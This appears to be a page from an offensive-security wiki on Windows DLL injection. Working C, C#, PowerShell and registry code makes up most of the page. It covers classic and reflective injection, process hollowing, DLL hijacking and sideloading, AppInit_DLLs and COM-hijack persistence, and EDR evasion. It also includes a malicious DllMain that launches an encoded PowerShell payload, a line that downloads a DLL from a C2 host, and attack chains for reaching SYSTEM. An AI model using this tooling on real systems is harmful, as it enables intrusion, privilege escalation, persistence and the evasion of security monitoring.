ᛉ Yggdrasil

Malware development

DLL Injection

15 Sep 2026 · 4,342 words · 20 min

Contents

Legend: [DLL] = Dynamic Link Library | [INJ] = Injection technique | [PROC] = Process injection | [REFL] = Reflective injection | [SIDE] = DLL sideloading | [HIJACK] = DLL hijacking | [EDR] = EDR bypass | [PERSIST] = Persistence | [PRIV] = Privilege escalation | [TOOL] = Tool | [DETECT] = Detection


1. DLL Fundamentals

What it means: DLL (Dynamic Link Library) injection forces a target process to load a malicious DLL into its address space. Since the DLL runs inside the target process, it inherits the process's privileges, memory space, and network identity — making it invisible to per-process monitoring.


1.1 Why DLL Injection Matters

┌──────────────────────────────────────────────────────────────────────────────┐
│                         DLL INJECTION — CORE CONCEPT                         │
├──────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│   Normal Flow:                                                               │
│                                                                              │
│     Process.exe  ──►  loads legit.dll  ──►  executes normally               │
│                                                                              │
│                                                                              │
│   Injected Flow:                                                             │
│                                                                              │
│     Attacker forces target process to load malicious DLL                     │
│                                                                              │
│     Target.exe  ──►  loads evil.dll (inside target address space)           │
│                                                                              │
│                                                                              │
│   Effects:                                                                   │
│                                                                              │
│     ├─ Executes under TARGET process identity                                │
│     ├─ Inherits privileges (e.g., SYSTEM if target is privileged)            │
│     ├─ Shares memory → can read / write process memory                       │
│     ├─ Uses target's network context → appears legitimate                    │
│     └─ EDR logs show trusted process performing malicious actions            │
│                                                                              │
│                                                                              │
│   Common Attacker Use Cases:                                                 │
│                                                                              │
│     ├─ Privilege escalation  : inject into SYSTEM processes                  │
│     ├─ EDR / AV bypass      : execute via trusted processes                  │
│     ├─ Persistence          : DLL remains loaded with process                │
│     ├─ Credential theft     : inject into lsass.exe                          │
│     └─ Keylogging           : inject into explorer.exe                       │
│                                                                              │
└──────────────────────────────────────────────────────────────────────────────┘

1.2 DLL Injection Techniques Overview

Technique Disk Artifact? Privileges Needed Stealthiness
────────────────────────────────────────────────────────────────────────
Classic DLL injection YES (DLL on disk) SeDebugPrivilege 🟡 Medium
Reflective DLL inject NO (memory only) SeDebugPrivilege 🟠 High
DLL hijacking YES User-level 🟠 High
DLL sideloading YES User-level 🔴 Very High
AppInit_DLLs YES Admin 🟡 Medium
COM hijacking YES User (HKCU) 🔴 Very High
Process hollowing NO SeDebugPrivilege 🔴 Very High

1.3 Windows API Functions Used

Function Purpose
──────────────────────────────────────────────────────────────────────
OpenProcess() Open handle to target process
VirtualAllocEx() Allocate memory in remote process
WriteProcessMemory() Write DLL path/shellcode to remote process
CreateRemoteThread() Create thread in remote process (classic)
NtCreateThreadEx() Undocumented CreateRemoteThread alternative
RtlCreateUserThread() Another alternative (bypasses some hooks)
LoadLibraryA/W() Load DLL by path (used as thread start func)
GetProcAddress() Get function address from loaded DLL
GetModuleHandleA/W() Get handle to loaded module
VirtualProtectEx() Change memory protection in remote process


2. Classic DLL Injection

What it means: The most fundamental technique — allocate memory in the target process, write the DLL path into it, then create a remote thread that calls LoadLibraryA with that path. Windows automatically loads the DLL into the target process.


2.1 Classic Injection — Step by Step

STEP 1: OpenProcess → get handle to target
STEP 2: VirtualAllocEx → alloc memory in target for DLL path
STEP 3: WriteProcessMemory → write "C:\evil.dll\0" into allocated mem
STEP 4: GetProcAddress(LoadLibraryA) → get address of LoadLibraryA
STEP 5: CreateRemoteThread → create thread in target pointing to
LoadLibraryA with our DLL path as arg
STEP 6: Target process loads evil.dll → DllMain() executes!

2.2 Classic DLL Injection — C Implementation

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// ─── Get PID by process name ───
DWORD GetPID(const char* procName) {
    DWORD pid = 0;
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(pe);
    if (Process32First(snap, &pe)) {
        do {
            if (!_stricmp(pe.szExeFile, procName)) {
                pid = pe.th32ProcessID;
                break;
            }
        } while (Process32Next(snap, &pe));
    }
    CloseHandle(snap);
    return pid;
}

int main() {
    const char* dllPath    = "C:\\Windows\\Temp\\evil.dll";
    const char* targetProc = "notepad.exe";

    // Step 1: Get target PID
    DWORD pid = GetPID(targetProc);
    if (!pid) { printf("[-] Process not found!\n"); return 1; }
    printf("[+] PID: %d\n", pid);

    // Step 2: Open target process
    HANDLE hProc = OpenProcess(
        PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProc) { printf("[-] OpenProcess failed: %d\n", GetLastError()); return 1; }

    // Step 3: Allocate memory in target process
    LPVOID pRemoteMem = VirtualAllocEx(
        hProc, NULL, strlen(dllPath) + 1,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!pRemoteMem) { printf("[-] VirtualAllocEx failed!\n"); return 1; }

    // Step 4: Write DLL path to remote memory
    WriteProcessMemory(hProc, pRemoteMem,
        (LPVOID)dllPath, strlen(dllPath) + 1, NULL);

    // Step 5: Get LoadLibraryA address (same in all processes!)
    LPVOID pLoadLib = (LPVOID)GetProcAddress(
        GetModuleHandleA("kernel32.dll"), "LoadLibraryA");

    // Step 6: Create remote thread → calls LoadLibraryA(dllPath)
    HANDLE hThread = CreateRemoteThread(
        hProc, NULL, 0,
        (LPTHREAD_START_ROUTINE)pLoadLib,
        pRemoteMem, 0, NULL);

    if (!hThread) { printf("[-] CreateRemoteThread failed: %d\n", GetLastError()); return 1; }

    printf("[+] DLL injected! Waiting for thread...\n");
    WaitForSingleObject(hThread, INFINITE);

    // Cleanup
    VirtualFreeEx(hProc, pRemoteMem, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProc);
    printf("[+] Done!\n");
    return 0;
}

// Compile:
// x86_64-w64-mingw32-gcc injector.c -o injector.exe

2.3 The Malicious DLL (evil.dll)

// ─── evil.dll — executed when injected ───
#include <windows.h>

void Payload() {
    // Reverse shell, shellcode exec, etc.
    system("powershell -enc BASE64_PAYLOAD");
}

BOOL WINAPI DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved) {
    switch (reason) {
        case DLL_PROCESS_ATTACH:
            // Called when DLL is loaded into process!
            CreateThread(NULL, 0,
                (LPTHREAD_START_ROUTINE)Payload,
                NULL, 0, NULL);
            break;
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
    }
    return TRUE;
}

// Compile:
// x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c

2.4 Classic Injection — PowerShell

# ─── PowerShell DLL injection (using P/Invoke) ───
$code = @"
using System;
using System.Runtime.InteropServices;
public class Injector {
    [DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(int a, bool b, int c);
    [DllImport("kernel32.dll")] public static extern IntPtr VirtualAllocEx(IntPtr h, IntPtr a, uint s, uint t, uint p);
    [DllImport("kernel32.dll")] public static extern bool WriteProcessMemory(IntPtr h, IntPtr a, byte[] b, uint s, out int w);
    [DllImport("kernel32.dll")] public static extern IntPtr GetProcAddress(IntPtr h, string p);
    [DllImport("kernel32.dll")] public static extern IntPtr GetModuleHandle(string n);
    [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr h, IntPtr a, uint s, IntPtr f, IntPtr p, uint c, IntPtr i);

    public static void Inject(int pid, string dllPath) {
        byte[] dllBytes = System.Text.Encoding.ASCII.GetBytes(dllPath + "\0");
        IntPtr hProc   = OpenProcess(0x1F0FFF, false, pid);
        IntPtr pMem    = VirtualAllocEx(hProc, IntPtr.Zero,
                           (uint)dllBytes.Length, 0x3000, 0x40);
        int written = 0;
        WriteProcessMemory(hProc, pMem, dllBytes, (uint)dllBytes.Length, out written);
        IntPtr pLoadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
        CreateRemoteThread(hProc, IntPtr.Zero, 0, pLoadLib, pMem, 0, IntPtr.Zero);
    }
}
"@
Add-Type -TypeDefinition $code

# Inject into notepad (find PID first):
$pid = (Get-Process notepad).Id
[Injector]::Inject($pid, "C:\Windows\Temp\evil.dll")

3. Reflective DLL Injection

What it means: The most powerful injection technique — the DLL loads entirely from memory without ever touching disk. A custom reflective loader inside the DLL maps it into memory like LoadLibrary would, but directly from a byte array. No file path is ever written to the target process — making it near-invisible to file-based detection.


3.1 How Reflective Loading Works

Classic DLL loading: Reflective DLL loading:
File on disk DLL bytes in memory buffer
│ │
LoadLibrary("evil.dll") Custom reflective loader function
│ │
Windows loader maps DLL Loader manually:
into process memory ├── Parses PE headers
├── Maps sections to memory
├── Fixes base relocations
├── Resolves import table
└── Calls DllMain()!

No file path in OpenProcess/CreateRemoteThread args!
→ No DLL load event visible to many EDR hooks!

3.2 ReflectiveDLLInjection by Stephen Fewer

// ─── The gold standard reflective injection implementation ───
// https://github.com/stephenfewer/ReflectiveDLLInjection

// Build your DLL with the reflective loader:
// 1. Include ReflectiveDLLInjection.h in your project
// 2. Add ReflectiveLoader.c to compilation
// 3. Your DLL now has "ReflectiveLoader" export!

// Injector reads DLL from disk into memory buffer:
// Then finds ReflectiveLoader export address:
// Calls CreateRemoteThread pointing to ReflectiveLoader!
// → DLL loads from memory, no disk path needed!

// Quick inject with the provided inject.dll:
// inject.exe <PID> <DLL_PATH>

// ─── Core injection code ───
DWORD Inject(HANDLE hProcess, LPVOID dllBuffer, DWORD dllSize) {
    // Allocate memory in target process:
    LPVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, dllSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // Write DLL bytes (not path!) to remote process:
    WriteProcessMemory(hProcess, pRemoteBuf, dllBuffer, dllSize, NULL);

    // Find offset of ReflectiveLoader in DLL buffer:
    DWORD loaderOffset = GetReflectiveLoaderOffset(dllBuffer);

    // Create thread at ReflectiveLoader offset in remote process:
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)((ULONG_PTR)pRemoteBuf + loaderOffset),
        NULL, 0, NULL);

    WaitForSingleObject(hThread, INFINITE);
    return 0;
}
// → No DLL path anywhere! Only bytes in memory!

3.3 Reflective Injection in C# (Cobalt Strike style)

// ─── Load DLL from byte array reflectively ───
using System;
using System.Runtime.InteropServices;

class ReflectiveLoader {
    [DllImport("kernel32.dll")] static extern IntPtr OpenProcess(uint a, bool b, int c);
    [DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr h, IntPtr a, uint s, uint t, uint p);
    [DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr h, IntPtr a, byte[] b, uint s, out int w);
    [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr h, IntPtr a, uint s, IntPtr f, IntPtr p, uint c, IntPtr i);

    static void Main(string[] args) {
        int pid = int.Parse(args);

        // Load DLL bytes from embedded resource or download:
        byte[] dllBytes = System.IO.File.ReadAllBytes("evil.dll");
        // OR: download from C2:
        // byte[] dllBytes = new WebClient().DownloadData("http://C2/evil.dll");

        IntPtr hProc = OpenProcess(0x1F0FFF, false, pid);

        // Allocate RWX memory for full DLL:
        IntPtr pRemote = VirtualAllocEx(hProc, IntPtr.Zero,
            (uint)dllBytes.Length, 0x3000, 0x40);

        // Write DLL bytes (not path!):
        int written;
        WriteProcessMemory(hProc, pRemote, dllBytes, (uint)dllBytes.Length, out written);

        // Find ReflectiveLoader export offset and call it:
        uint loaderOffset = GetReflectiveLoaderOffset(dllBytes);
        CreateRemoteThread(hProc, IntPtr.Zero, 0,
            (IntPtr)(pRemote.ToInt64() + loaderOffset),
            IntPtr.Zero, 0, IntPtr.Zero);
    }
}

4. DLL Hijacking

What it means: Windows searches for DLLs in a specific order when a process loads them by name (not full path). If a DLL is missing from early search locations, an attacker can plant a malicious DLL in a higher-priority path to get it loaded instead of the legitimate one.


4.1 Windows DLL Search Order

Windows DLL search order (SafeDLLSearchMode enabled):
1. The directory of the application (.exe directory)
2. C:\Windows\System32
3. C:\Windows\System16\ (16-bit)
4. C:\Windows
5. Current working directory (CWD)
6. Directories in %PATH% environment variable

Without SafeDLLSearchMode:
1. Application directory
2. CWD ← BEFORE System32! Very dangerous!
3. System32
4. Windows dir
5. %PATH%

Attack: Find where a legit app loads "missing.dll"
Place evil missing.dll in app's directory or CWD
→ App loads your evil.dll!

4.2 Finding Hijackable DLLs

:: ─── Method 1: Process Monitor (Sysinternals) ───
:: Run ProcMon as admin
:: Add filter: Result = NAME NOT FOUND, Path ends with .dll
:: Start the target application
:: → See every DLL it tries to load that DOESN'T EXIST!
:: → Check if you can write to any of those search locations!

:: ─── Method 2: PowerSploit Find-PathDLLHijack ───
Import-Module PowerSploit
Find-PathDLLHijack
:: Finds writable directories in %PATH% where you can plant DLLs!

:: ─── Method 3: Winpeas ───
.\winpeas.exe
:: Look for: "DLL Hijacking" section
:: Lists: applications with missing DLLs + writable paths!

:: ─── Method 4: Process Hacker / x64dbg ───
:: Monitor loaded modules in running process
:: Check for DLLs loaded from unusual paths

4.3 Automated DLL Hijacking Discovery

# ─── DLL Hijacking via PATH variable ───
# List writable directories in %PATH%:
$env:PATH.Split(';') | ForEach-Object {
    if (Test-Path $_) {
        $acl = Get-Acl $_
        $writable = $acl.Access | Where-Object {
            $_.FileSystemRights -match "Write|FullControl|Modify" -and
            $_.IdentityReference -match "Everyone|Users|Authenticated"
        }
        if ($writable) {
            Write-Host "[WRITABLE PATH] $_" -ForegroundColor Red
        }
    }
}

# ─── Find services with missing DLLs ───
Get-WmiObject Win32_Service |
    Where-Object { $_.State -eq "Running" } |
    ForEach-Object {
        $path = $_.PathName -replace '"',''
        $dir  = Split-Path $path -Parent
        if (Test-Path $dir) {
            # Check if user can write to service directory:
            try {
                $test = [System.IO.Path]::Combine($dir, "test_write.tmp")
                [System.IO.File]::Create($test).Close()
                Remove-Item $test
                Write-Host "[WRITABLE SERVICE DIR] $dir → $($_.Name)" -ForegroundColor Red
            } catch {}
        }
    }

4.4 Creating Hijack DLL (Proxy DLL)

// ─── Option 1: Simple hijack DLL ───
// Just run payload, no proxying needed if app doesn't need the DLL:
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        system("cmd /c powershell -enc BASE64_REVSHELL");
    }
    return TRUE;
}
// Compile: x86_64-w64-mingw32-gcc -shared -o missing.dll hijack.c

// ─── Option 2: Proxy DLL (forwards legit exports too) ───
// App needs the DLL's functions AND we want our payload to run!
// Use DLL export forwarding:

// In .def file:
// EXPORTS
//   LegitFunction1 = original.LegitFunction1
//   LegitFunction2 = original.LegitFunction2

// Rename original: version.dll → version_orig.dll
// Our version.dll forwards exports to version_orig.dll
// App works normally + our payload executes!

5. DLL Sideloading

What it means: A more targeted form of hijacking where attackers exploit the fact that many legitimate signed executables look for DLLs in their own directory first. By placing a malicious DLL with the expected name alongside the signed binary, the trusted process loads the attacker's code. The process is signed and trusted — making EDR attribution very difficult.


5.1 How DLL Sideloading Works

Legit binary: C:\Program Files\VendorApp\VendorApp.exe (SIGNED)
Loads: C:\Program Files\VendorApp\version.dll

Attack:
Copy VendorApp.exe to C:\Users\Public\VendorApp.exe
Place malicious version.dll in C:\Users\Public
Run VendorApp.exe from C:\Users\Public

→ VendorApp (SIGNED binary!) loads OUR version.dll
→ Looks like: "Microsoft signed process doing normal things"
→ EDR: "Trusted signed process loaded a DLL" → low suspicion!

5.2 Finding Sideloading Candidates

:: ─── sigcheck + ProcMon approach ───
:: Use Sysinternals sigcheck to find signed apps:
sigcheck.exe -e -u "C:\Program Files\" > signed_apps.txt
:: -e = executable only, -u = unsigned dependencies

:: Use ProcMon:
:: Filter: Operation = LoadImage, Result = NAME NOT FOUND
:: Paths = User-writable directories
:: → Find signed apps loading missing DLLs from writable paths!

:: ─── Known sideloading candidates ───
:: These binaries are famous for sideloading:
Application          Sideloads via
──────────────────────────────────────────────
OneDriveSetup.exe    version.dll
mspaint.exe          MSVCP100.dll (some versions)
notepad++.exe        various plugins
Teams installer      CRYPTSP.dll
Windows Defender     various
VMware               various
Various AV products  (anti-virus ironically vulnerable)

5.3 Sideloading with Proxy DLL (Practical)

# ─── Automated proxy DLL creation with DLLSpy ───
# https://github.com/cyberark/DLLSpy

# ─── Manual approach using AheadLib ───
# 1. Identify target DLL (e.g., version.dll) loaded by signed binary
# 2. Extract all exports from original DLL:
dumpbin /exports C:\Windows\System32\version.dll > exports.txt

# 3. Create proxy DLL that forwards exports + runs payload:
# Generate proxy code automatically with DLLProxyGenerator:
python3 proxy_dll_gen.py --original version.dll --output proxy_version.c

# 4. Generated code looks like:
// version_proxy.c
// Forwards all legitimate exports + adds DllMain payload
#pragma comment(linker, "/export:GetFileVersionInfoA=version_orig.GetFileVersionInfoA")
#pragma comment(linker, "/export:VerQueryValueA=version_orig.VerQueryValueA")
// ... all other exports forwarded to version_orig.dll ...

// Compile:
// cl.exe /LD proxy_version.c /Fe:version.dll

6. Process Hollowing with DLL

What it means: Create a legitimate process in suspended state, replace its code with your payload (shellcode or remapped PE), then resume it. Combined with DLL injection, the hollowed process can load malicious DLLs that appear to be memory-resident in a legitimate process.


6.1 Process Hollowing Steps

  1. CreateProcess("svchost.exe", ..., CREATE_SUSPENDED)
    → Create legitimate suspended process

  2. NtUnmapViewOfSection / ZwUnmapViewOfSection
    → Unmap original executable code from process

  3. VirtualAllocEx in remote process
    → Allocate new memory at preferred base address of evil PE

  4. WriteProcessMemory
    → Write malicious PE sections (headers + code + data)

  5. SetThreadContext
    → Set EIP/RIP to our new entry point

  6. ResumeThread
    → Process resumes but runs OUR code!
    → Looks like: svchost.exe in task manager
    → But running your payload!

6.2 Process Hollowing C Implementation

#include <windows.h>
#include <winternl.h>

// Function prototypes for NT functions:
typedef NTSTATUS(WINAPI* NtUnmapViewOfSection_t)(HANDLE, PVOID);

int main() {
    const char* targetExe  = "C:\\Windows\\System32\\svchost.exe";
    const char* payloadExe = "C:\\Windows\\Temp\\payload.exe";

    // Read payload file:
    HANDLE hFile = CreateFileA(payloadExe, GENERIC_READ, 0,
        NULL, OPEN_EXISTING, 0, NULL);
    DWORD fileSize = GetFileSize(hFile, NULL);
    BYTE* payload = (BYTE*)malloc(fileSize);
    ReadFile(hFile, payload, fileSize, NULL, NULL);
    CloseHandle(hFile);

    // Create target process SUSPENDED:
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    CreateProcessA(targetExe, NULL, NULL, NULL,
        FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

    // Get context (to find base address):
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.hThread, &ctx);

    // Read PEB to get image base:
    PVOID pImageBase;
    ReadProcessMemory(pi.hProcess,
        (PVOID)(ctx.Rdx + 16), &pImageBase, 8, NULL);

    // Unmap original executable:
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    NtUnmapViewOfSection_t pNtUnmap =
        (NtUnmapViewOfSection_t)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
    pNtUnmap(pi.hProcess, pImageBase);

    // Parse payload PE headers:
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)payload;
    PIMAGE_NT_HEADERS ntHeaders =
        (PIMAGE_NT_HEADERS)((ULONG_PTR)payload + dosHeader->e_lfanew);

    // Allocate space for payload in remote process:
    PVOID pRemoteBase = VirtualAllocEx(pi.hProcess,
        (PVOID)ntHeaders->OptionalHeader.ImageBase,
        ntHeaders->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // Write PE headers:
    WriteProcessMemory(pi.hProcess, pRemoteBase,
        payload, ntHeaders->OptionalHeader.SizeOfHeaders, NULL);

    // Write PE sections:
    PIMAGE_SECTION_HEADER section =
        IMAGE_FIRST_SECTION(ntHeaders);
    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        WriteProcessMemory(pi.hProcess,
            (PVOID)((ULONG_PTR)pRemoteBase + section[i].VirtualAddress),
            (PVOID)((ULONG_PTR)payload    + section[i].PointerToRawData),
            section[i].SizeOfRawData, NULL);
    }

    // Fix entry point in context:
    ctx.Rcx = (DWORD64)pRemoteBase +
              ntHeaders->OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(pi.hThread, &ctx);

    // Resume thread → runs our payload!
    ResumeThread(pi.hThread);

    free(payload);
    return 0;
}

7. AppInit_DLLs Abuse

What it means: The AppInit_DLLs registry key tells Windows to load specified DLLs into EVERY process that loads user32.dll — which is nearly every GUI application. This provides persistence and system-wide injection.


7.1 AppInit_DLLs Configuration

:: ─── Registry location ───
:: 32-bit: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
:: 64-bit: HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows

:: ─── Enable AppInit_DLLs ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" ^
    /v AppInit_DLLs /t REG_SZ /d "C:\Windows\Temp\evil.dll" /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" ^
    /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f

:: Multiple DLLs (comma or space separated):
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" ^
    /v AppInit_DLLs /t REG_SZ /d "C:\evil1.dll C:\evil2.dll" /f

:: ─── Result ───
:: Every app that loads user32.dll (almost all GUI apps!) will load evil.dll!
:: Persists across reboots!
:: Requires admin to set, but runs as each app's privilege level!

:: ─── NOTE: Secure Boot / Code Integrity ───
:: Windows 8+ with Secure Boot: AppInit_DLLs requires signed DLLs!
:: On older systems or without Secure Boot → still works!

8. COM Hijacking via DLL

What it means: COM (Component Object Model) objects are loaded from registry paths. If you register your DLL under a user's COM CLSID (HKCU\Software\Classes\CLSID\), it takes priority over machine-wide HKLM entries — and loads your DLL when that COM object is invoked. No admin rights needed, and it's incredibly stealthy.


8.1 Finding COM Hijacking Opportunities

# ─── Find COM objects loaded from non-existent paths ───
# Run ProcMon with filter:
# Operation = RegOpenKey, Result = NAME NOT FOUND
# Path contains "InprocServer32"
# → Lists every COM object that looks for DLL but doesn't find it!

# ─── PowerShell: Find HKCR CLSIDs also in HKCU (overridable) ───
# CLSIDs in HKCR but not in HKCU = can be hijacked!
$hkcrClsids = Get-ChildItem "Registry::HKEY_CLASSES_ROOT\CLSID\" |
    Where-Object { $_.GetSubKeyNames() -contains "InprocServer32" }

# ─── Famous COM hijacking targets ───
CLSID                                   Application
──────────────────────────────────────────────────────────────────
{BCDE0395-E52F-467C-8E3D-C4579291692E}  Windows Task Scheduler
{9BA05972-F6A8-11CF-A442-00A0C90A8F39}  ShellWindows (Explorer)
{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}  MruPidlList
{4590F811-1D3A-11D0-891F-00AA004B2E24}  WbemLocator

8.2 COM Hijacking — No Admin Required

:: ─── Register malicious DLL under HKCU (user-level!) ───
:: Example: Hijack a CLSID that gets loaded by Explorer/Task Scheduler

set CLSID={BCDE0395-E52F-467C-8E3D-C4579291692E}

reg add "HKCU\Software\Classes\CLSID\%CLSID%\InprocServer32" ^
    /ve /t REG_SZ /d "C:\Users\%USERNAME%\AppData\Local\evil.dll" /f

reg add "HKCU\Software\Classes\CLSID\%CLSID%\InprocServer32" ^
    /v ThreadingModel /t REG_SZ /d "Apartment" /f

:: → No admin needed! HKCU is always user-writable!
:: → When Windows loads that COM object → loads our DLL!
:: → Persists across login (scheduled COM calls keep loading it)!

9. Detection Evasion

9.1 Bypass CreateRemoteThread Detection

// ─── EDR hooks CreateRemoteThread → use alternatives ───

// Alternative 1: NtCreateThreadEx (lower level)
typedef NTSTATUS (NTAPI* NtCreateThreadEx_t)(
    PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID,
    ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID);

NtCreateThreadEx_t NtCreateThreadEx =
    (NtCreateThreadEx_t)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx");
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL,
    hProcess, (PVOID)pLoadLib, pRemoteMem, 0, 0, 0, 0, NULL);

// Alternative 2: RtlCreateUserThread (even lower)
typedef NTSTATUS (NTAPI* RtlCreateUserThread_t)(
    HANDLE, PSECURITY_DESCRIPTOR, BOOLEAN, ULONG, PULONG,
    PULONG, PVOID, PVOID, PHANDLE, PCLIENT_ID);

// Alternative 3: QueueUserAPC (async procedure call)
// Inject via APC queue → executes when thread enters alertable wait!
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
QueueUserAPC((PAPCFUNC)pLoadLib, hThread, (ULONG_PTR)pRemoteMem);
// Target thread must call SleepEx, WaitForSingleObjectEx etc!

// Alternative 4: Thread hijacking
// Suspend existing thread → change RIP → inject → resume
// No new thread created → evades "remote thread" detection!

9.2 Bypass Memory Scanning

// ─── Avoid RWX memory (EDR flags VirtualAllocEx with PAGE_EXECUTE_READWRITE) ───

// Step 1: Allocate as RW (not RWX):
LPVOID pMem = VirtualAllocEx(hProc, NULL, size,
    MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);  // RW only!

// Step 2: Write shellcode/DLL bytes:
WriteProcessMemory(hProc, pMem, payload, size, NULL);

// Step 3: Change to RX (remove write!):
DWORD oldProt;
VirtualProtectEx(hProc, pMem, size, PAGE_EXECUTE_READ, &oldProt);

// Step 4: Execute:
CreateRemoteThread(hProc, NULL, 0,
    (LPTHREAD_START_ROUTINE)pMem, NULL, 0, NULL);

// → Memory is only ever RW or RX, never RWX at the same time!
// → Many EDR rules specifically flag RWX allocations!

9.3 Stomping .text Section (Module Stomping)

Module Stomping / DLL Hollowing:
1. Load a LEGIT DLL into target process (using LoadLibraryEx)
2. Overwrite its .text (code) section with your shellcode
3. Execute from within that legit DLL's memory range!

Why it evades:
├── Memory appears to be a LEGITIMATE loaded DLL
├── Base address is within a known DLL range
├── Module name in loaded module list = legit DLL!
└── EDR: "Code executed from legit_dll.dll" → no alert!

Tool: ModuleStomping / DLLHijackingScanner


10. Tools Reference

10.1 Injection Tools

Tool Language Technique
──────────────────────────────────────────────────────────────────────
Injector.exe C Classic DLL injection
ReflectiveDLL C Reflective loader by Stephen Fewer
Donut C Shellcode from PE/DLL/NET assembly
sRDI Python/C Shellcode Reflective DLL Injection
GhostWriting C Module stomping/ghost injection
ProcessHollowing C Process hollowing PoC
Cobalt Strike beacon C Full C2 with all injection types
Metasploit migrate Ruby Post-exploitation migration
PowerSploit PS Invoke-DllInjection, Find-DLLHijack
Invoke-ReflectivePEInjection PS Reflective injection via PowerShell

10.2 Donut — PE/DLL to Shellcode

# ─── Donut: convert ANY PE/DLL/.NET assembly to shellcode! ───
# https://github.com/TheWover/donut

# Convert DLL to shellcode:
./donut -f evil.dll -o shellcode.bin

# Convert EXE to shellcode:
./donut -f payload.exe -o shellcode.bin

# Convert .NET assembly to shellcode:
./donut -f malware.exe -o shellcode.bin -a 2  # x64

# With AMSI/WLDP bypass:
./donut -f evil.exe -b 2 -o shellcode.bin
# -b 2 = bypass AMSI + WLDP (Windows Lockdown Policy)

# Then inject shellcode.bin via any shellcode injector!
# No DLL file needed on target — pure position-independent shellcode!

10.3 sRDI — Shellcode Reflective DLL Injection

# ─── sRDI: convert DLL to shellcode (like Donut but for DLLs) ───
# https://github.com/monoxgas/sRDI

from ShellcodeRDI import *

# Convert DLL to shellcode:
dll = open("evil.dll", "rb").read()
shellcode = ConvertToShellcode(dll)
open("shellcode.bin", "wb").write(shellcode)

# With function call:
shellcode = ConvertToShellcode(dll,
    functionName="DllExport",  # call specific export
    userData=b"args",
    flags=0x1)  # clear header

# Inject shellcode.bin into any process!
# = DLL runs completely from shellcode, no LoadLibrary, no file!

10.4 Finding DLL Hijacking with WinPEAS & PowerSploit

# ─── WinPEAS DLL Hijacking check ───
.\winPEASx64.exe
# Look for section: "DLL Hijacking"
# Lists: Writable PATH dirs, missing DLL opportunities

# ─── PowerSploit ───
Import-Module .\PowerSploit.psd1
Find-PathDLLHijack        # writable %PATH% dirs
Find-ProcessDLLHijack     # running processes with hijackable DLLs
Get-ServiceDetail         # services with vulnerable DLL search paths

11. Complete Cheat Sheet

11.1 DLL Injection Quick Reference

Technique Requires Leaves Trace When to Use
────────────────────────────────────────────────────────────────────────
Classic injection Admin/SeDebug DLL file on disk Quick injection
Reflective inject Admin/SeDebug None (memory only) Stealthy injection
DLL hijacking Write to dir DLL file on disk Persistence/privesc
DLL sideloading Write to dir DLL file + copy exe EDR bypass
Process hollowing Admin/SeDebug None (memory) Maximum stealth
AppInit_DLLs Admin Registry key System-wide persist
COM hijacking None (HKCU!) Registry key No-admin persistence
Module stomping Admin/SeDebug None EDR memory evasion

11.2 Complete Attack Chains

Chain 1: Low Priv → System via DLL Hijacking
Find service running as SYSTEM
→ Service loads DLL from user-writable path
→ Plant malicious DLL in that path
→ Restart service (or wait for auto-restart)
→ DLL executes as SYSTEM!

Chain 2: No Admin Persistence via COM Hijacking
Find COM CLSID loaded by scheduled task/explorer
→ Register evil DLL under HKCU...\CLSID\InprocServer32
→ No admin needed!
→ DLL loads on every login / COM call!

Chain 3: EDR Bypass via Sideloading
Find signed binary that loads missing DLL
→ Compile proxy DLL with payload in DllMain
→ Place next to signed binary
→ Execute signed binary
→ EDR: "Trusted signed app loaded version.dll" → ignored!

Chain 4: Stealthy C2 via Reflective DLL
Get code execution
→ Download DLL bytes from C2 (not to disk!)
→ Reflectively inject into svchost.exe
→ Beacon runs inside svchost.exe memory
→ No DLL file ever on disk!
→ EDR: "svchost.exe making HTTP requests" → normal!

